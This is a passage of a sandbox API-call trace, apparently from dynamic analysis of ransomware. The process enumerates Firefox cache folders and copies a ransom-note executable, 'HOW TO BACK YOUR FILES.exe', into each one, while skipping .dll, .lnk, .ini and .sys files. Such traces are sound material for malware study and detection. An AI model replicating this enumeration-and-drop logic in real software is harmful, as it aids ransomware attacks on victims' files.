	[0045.430] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61"
	[0045.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a410 | out: hHeap=0x580000) returned 1
	[0045.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0045.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61") returned 96
	[0045.430] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61"
	[0045.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.434] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332797f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332797f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.434] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.434] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.434] lstrcpyW (in: lpString1=0x2d3e612, lpString2="28E95d01" | out: lpString1="28E95d01") returned="28E95d01"
	[0045.434] lstrlenW (lpString="28E95d01") returned 8
	[0045.434] lstrlenW (lpString="Apollon865") returned 10
	[0045.434] lstrlenW (lpString=".dll") returned 4
	[0045.434] lstrcmpiW (lpString1="28E95d01", lpString2=".dll") returned 1
	[0045.434] lstrlenW (lpString=".lnk") returned 4
	[0045.434] lstrcmpiW (lpString1="28E95d01", lpString2=".lnk") returned 1
	[0045.434] lstrlenW (lpString=".ini") returned 4
	[0045.434] lstrcmpiW (lpString1="28E95d01", lpString2=".ini") returned 1
	[0045.434] lstrlenW (lpString=".sys") returned 4
	[0045.434] lstrcmpiW (lpString1="28E95d01", lpString2=".sys") returned 1
	[0045.434] lstrlenW (lpString="28E95d01") returned 8
	[0045.434] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C"
	[0045.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa498 | out: hHeap=0x580000) returned 1
	[0045.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0045.434] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C") returned 96
	[0045.435] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C"
	[0045.435] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.441] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.441] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332797f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332797f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.441] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.441] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.441] lstrcpyW (in: lpString1=0x2d3e612, lpString2="24B53d01" | out: lpString1="24B53d01") returned="24B53d01"
	[0045.441] lstrlenW (lpString="24B53d01") returned 8
	[0045.441] lstrlenW (lpString="Apollon865") returned 10
	[0045.441] lstrlenW (lpString=".dll") returned 4
	[0045.441] lstrcmpiW (lpString1="24B53d01", lpString2=".dll") returned 1
	[0045.441] lstrlenW (lpString=".lnk") returned 4
	[0045.441] lstrcmpiW (lpString1="24B53d01", lpString2=".lnk") returned 1
	[0045.441] lstrlenW (lpString=".ini") returned 4
	[0045.441] lstrcmpiW (lpString1="24B53d01", lpString2=".ini") returned 1
	[0045.441] lstrlenW (lpString=".sys") returned 4
	[0045.441] lstrcmpiW (lpString1="24B53d01", lpString2=".sys") returned 1
	[0045.441] lstrlenW (lpString="24B53d01") returned 8
	[0045.441] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10"
	[0045.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0045.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0045.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10") returned 96
	[0045.441] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10"
	[0045.442] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.442] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.446] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332797f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332797f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.446] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.446] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.446] lstrcpyW (in: lpString1=0x2d3e612, lpString2="16A09d01" | out: lpString1="16A09d01") returned="16A09d01"
	[0045.446] lstrlenW (lpString="16A09d01") returned 8
	[0045.446] lstrlenW (lpString="Apollon865") returned 10
	[0045.446] lstrlenW (lpString=".dll") returned 4
	[0045.446] lstrcmpiW (lpString1="16A09d01", lpString2=".dll") returned 1
	[0045.446] lstrlenW (lpString=".lnk") returned 4
	[0045.446] lstrcmpiW (lpString1="16A09d01", lpString2=".lnk") returned 1
	[0045.446] lstrlenW (lpString=".ini") returned 4
	[0045.446] lstrcmpiW (lpString1="16A09d01", lpString2=".ini") returned 1
	[0045.447] lstrlenW (lpString=".sys") returned 4
	[0045.447] lstrcmpiW (lpString1="16A09d01", lpString2=".sys") returned 1
	[0045.447] lstrlenW (lpString="16A09d01") returned 8
	[0045.447] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8"
	[0045.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a348 | out: hHeap=0x580000) returned 1
	[0045.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0045.447] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned 93
	[0045.447] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8"
	[0045.447] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.447] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\8\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.451] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.451] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3329f950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3329f950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.451] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.451] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.451] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7"
	[0045.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a280 | out: hHeap=0x580000) returned 1
	[0045.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0045.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned 93
	[0045.452] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7"
	[0045.452] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.452] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.455] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.455] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3329f950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3329f950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.455] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.455] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.455] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6"
	[0045.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a1b8 | out: hHeap=0x580000) returned 1
	[0045.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0045.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned 93
	[0045.455] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6"
	[0045.455] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\6\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.460] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.460] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3329f950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3329f950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.460] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.460] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.460] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5"
	[0045.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0f0 | out: hHeap=0x580000) returned 1
	[0045.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0045.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned 93
	[0045.460] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5"
	[0045.460] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.460] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\5\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.464] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.464] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332c5ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332c5ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.464] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.464] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4"
	[0045.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a028 | out: hHeap=0x580000) returned 1
	[0045.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0045.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned 93
	[0045.464] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4"
	[0045.464] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\4\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.469] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.469] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332c5ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332c5ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.469] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.469] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.469] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3"
	[0045.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
